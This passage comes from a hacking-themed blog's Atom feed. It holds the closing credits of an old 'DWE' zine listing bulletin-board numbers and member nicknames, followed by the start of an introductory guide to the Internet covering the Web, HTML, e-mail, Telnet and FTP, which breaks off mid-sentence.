&lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;                     &lt;/span&gt;your ad here&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Current DWE Akshul M3mbre Boards:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Nitro Burnin' Funny Cars&lt;span style=""&gt;    &lt;/span&gt;WHQ/DWEnet HOST&lt;span style=""&gt;     &lt;/span&gt;(312)582-1115&lt;span style=""&gt;  &lt;/span&gt;&lt;xanax&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The Prodigal Sun&lt;span style=""&gt;            &lt;/span&gt;CHQ/MECCA&lt;span style=""&gt;           &lt;/span&gt;(312)238-3585&lt;span style=""&gt;  &lt;/span&gt;&lt;asriel&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Dark Waters&lt;span style=""&gt;                 &lt;/span&gt;HQ/Infosite&lt;span style=""&gt;         &lt;/span&gt;(312)667-0222&lt;span style=""&gt;  &lt;/span&gt;&lt;monk&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;PyroTechnics II&lt;span style=""&gt;             &lt;/span&gt;Infosite&lt;span style=""&gt;            &lt;/span&gt;(708)991-9403&lt;span style=""&gt;  &lt;/span&gt;&lt;pyro&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;DWE M3/\/\B3R LiST&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;President and Dictator for Life: Xanax&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Head Courier/Warez Cracker: Asriel&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Head Fisherman/Trout Expert: Changeling&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Head Person That Gets Asriel Free CDs: Monk&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Head Person That Gets DWE Members Free WaReZ: Pyro&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Head Person That Knows More Than Asriel (Honorary Title): LVX&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Head Person That Actually Wrote for DWE without Coercion: Cosmos&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Head Know-It-All Stoner that runs 386bsd: Goldstein&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Want to write for DWE? Neither do we. But if the spirit moves you,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;write up an article about anything we haven't discussed already, and&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;post it somewhere in DWEnet or at any of the member boards, or call&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;any of the members voice and dictate it to them, or submit it to them&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;school newspaper of any of the members, or tack it on a bulletin board&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;in the Third Coast Cafe in Century Mall, and chances are it'll be&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;released as a s00per c00l DWE article.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;(c) 2003 Hackers-Network&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Asriel(tm) appears courtesy of Hasbro, Inc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2593002338410295360-6803877516280697925?l=hacking1001tips.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/5V40YRRXAmlc9Us8R9zYMirkCro/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5V40YRRXAmlc9Us8R9zYMirkCro/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/5V40YRRXAmlc9Us8R9zYMirkCro/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/5V40YRRXAmlc9Us8R9zYMirkCro/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Hacking1001Tips/~4/iEKDsfHiFhI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hacking1001tips.blogspot.com/feeds/6803877516280697925/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=2593002338410295360&amp;postID=6803877516280697925" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/6803877516280697925?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2593002338410295360/posts/default/6803877516280697925?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hacking1001Tips/~3/iEKDsfHiFhI/basic-unix-overview.html" title="Basic UNIX Overview" /><author><name>ahaks</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://hacking1001tips.blogspot.com/2008/08/basic-unix-overview.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEBQ3c7cCp7ImA9WxdbFUg.&quot;"><id>tag:blogger.com,1999:blog-2593002338410295360.post-6331575722647252233</id><published>2008-08-12T07:49:00.000-07:00</published><updated>2008-08-12T07:50:52.908-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-12T07:50:52.908-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Internet" /><title>Basic Guide To Internet</title><content type="html">The Internet is a computer network made up of thousands of networks worldwide. No one knows exactly how many computers are connected to the Internet. It is certain, however, that these number in the millions.&lt;br /&gt;&lt;br /&gt;No one is in charge of the Internet. There are organizations which develop technical aspects of this network and set standards for creating applications on it, but no governing body is in control. The Internet backbone, through which Internet traffic flows, is owned by private companies.&lt;br /&gt;&lt;br /&gt;All computers on the Internet communicate with one another using the Transmission Control Protocol/Internet Protocol suite, abbreviated to TCP/IP. Computers on the Internet use a client/server architecture. This means that the remote server machine provides files and services to the user's local client machine. Software can be installed on a client computer to take advantage of the latest access technology.&lt;br /&gt;&lt;br /&gt;An Internet user has access to a wide variety of services: electronic mail, file transfer, vast information resources, interest group membership, interactive collaboration, multimedia displays, real-time broadcasting, shopping opportunities, breaking news, and much more.&lt;br /&gt;&lt;br /&gt;The Internet consists primarily of a variety of access protocols. Many of these protocols feature programs that allow users to search for and retrieve material made available by the protocol.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;COMPONENTS OF THE INTERNET&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;WORLD WIDE WEB&lt;br /&gt;The World Wide Web (abbreviated as the Web or WWW) is a system of Internet servers that supports hypertext to access several Internet protocols on a single interface. Almost every protocol type available on the Internet is accessible on the Web. This includes e-mail, FTP, Telnet, and Usenet News. In addition to these, the World Wide Web has its own protocol: HyperText Transfer Protocol, or HTTP. These protocols will be explained later in this document.&lt;br /&gt;&lt;br /&gt;The World Wide Web provides a single interface for accessing all these protocols. This creates a convenient and user-friendly environment. It is no longer necessary to be conversant in these protocols within separate, command-level environments. The Web gathers together these protocols into a single system. Because of this feature, and because of the Web's ability to work with multimedia and advanced programming languages, the Web is the fastest-growing component of the Internet.&lt;br /&gt;&lt;br /&gt;The operation of the Web relies primarily on hypertext as its means of information retrieval. HyperText is a document containing words that connect to other documents. These words are called links and are selectable by the user. A single hypertext document can contain links to many documents. In the context of the Web, words or graphics may serve as links to other documents, images, video, and sound. Links may or may not follow a logical path, as each connection is programmed by the creator of the source document. Overall, the Web contains a complex virtual web of connections among a vast number of documents, graphics, videos, and sounds.&lt;br /&gt;&lt;br /&gt;Producing hypertext for the Web is accomplished by creating documents with a language called HyperText Markup Language, or HTML. With HTML, tags are placed within the text to accomplish document formatting, visual features such as font size, italics and bold, and the creation of hypertext links. Graphics and multimedia may also be incorporated into an HTML document. HTML is an evolving language, with new tags being added as each upgrade of the language is developed and released. The World Wide Web Consortium (W3C), led by Web founder Tim Berners-Lee, coordinates the efforts of standardizing HTML. The W3C now calls the language XHTML and considers it to be an application of the XML language standard.&lt;br /&gt;&lt;br /&gt;The World Wide Web consists of files, called pages or home pages, containing links to documents and resources throughout the Internet.&lt;br /&gt;&lt;br /&gt;The Web provides a vast array of experiences including multimedia presentations, real-time collaboration, interactive pages, radio and television broadcasts, and the automatic "push" of information to a client computer. Programming languages such as Java, JavaScript, Visual Basic, Cold Fusion and XML are extending the capabilities of the Web. A growing amount of information on the Web is served dynamically from content stored in databases. The Web is therefore not a fixed entity, but one that is in a constant state of development and flux.&lt;br /&gt;&lt;br /&gt;For more complete information about the World Wide Web, see Understanding The World Wide Web.&lt;br /&gt;&lt;br /&gt;E-MAIL&lt;br /&gt;Electronic mail, or e-mail, allows computer users locally and worldwide to exchange messages. Each user of e-mail has a mailbox address to which messages are sent. Messages sent through e-mail can arrive within a matter of seconds.&lt;br /&gt;&lt;br /&gt;A powerful aspect of e-mail is the option to send electronic files to a person's e-mail address. Non-ASCII files, known as binary files, may be attached to e-mail messages. These files are referred to as MIME attachments.MIME stands for Multimedia Internet Mail Extension, and was developed to help e-mail software handle a variety of file types. For example, a document created in Microsoft Word can be attached to an e-mail message and retrieved by the recipient with the appropriate e-mail program. Many e-mail programs, including Eudora, Netscape Messenger, and Microsoft Outlook, offer the ability to read files written in HTML, which is itself a MIME type.&lt;br /&gt;&lt;br /&gt;TELNET&lt;br /&gt;Telnet is a program that allows you to log into computers on the Internet and use online databases, library catalogs, chat services, and more. There are no graphics in Telnet sessions, just text. To Telnet to a computer, you must know its address. This can consist of words (locis.loc.gov) or numbers (140.147.254.3). Some services require you to connect to a specific port on the remote computer. In this case, type the port number after the Internet address. Example: telnet nri.reston.va.us 185.&lt;br /&gt;&lt;br /&gt;Telnet is available on the World Wide Web. Probably the most common Web-based resources available through Telnet have been library catalogs, though most catalogs have since migrated to the Web. A link to a Telnet resource may look like any other link, but it will launch a Telnet session to make the connection. A Telnet program must be installed on your local computer and configured to your Web browser in order to work.&lt;br /&gt;&lt;br /&gt;With the increasing popularity of the Web, Telnet has become less frequently used as a means of access to information on the Internet.&lt;br /&gt;&lt;br /&gt;FTP&lt;br /&gt;FTP stands for File Transfer Protocol. This is both a program and the method used to transfer files between computers. Anonymous FTP is an option that allows users to transfer files from thousands of host computers on the Internet to their personal computer account. FTP sites contain books, articles, software, games, images, sounds, multimedia, course work, data sets, and more.&lt;br /&gt;&lt;br /&gt;If your computer is directly connected to the Internet via an Ethernet cable, you can use one of several PC software programs, such as WS_FTP for Windows, to conduct a file transfer.&lt;br /&gt;&lt;br /&gt;FTP transfers can be performed on the World Wide Web without the need for special software. In this case, the Web browser will suffice. Whenever you download software from a Web site to your local machine, you are using FTP. You can also retrieve FTP files via search engines such as FtpFind, located at /http://www.ftpfind.com/. This option is easiest because you do not need to know FTP program commands.&lt;br /&gt;&lt;br /&gt;E-MAIL DISCUSSION GROUPS&lt;br /&gt;One of the benefits of the Internet is the opportunity it offers to people worldwide to communicate via e-mail. The Internet is home to a large community of individuals who carry out active d
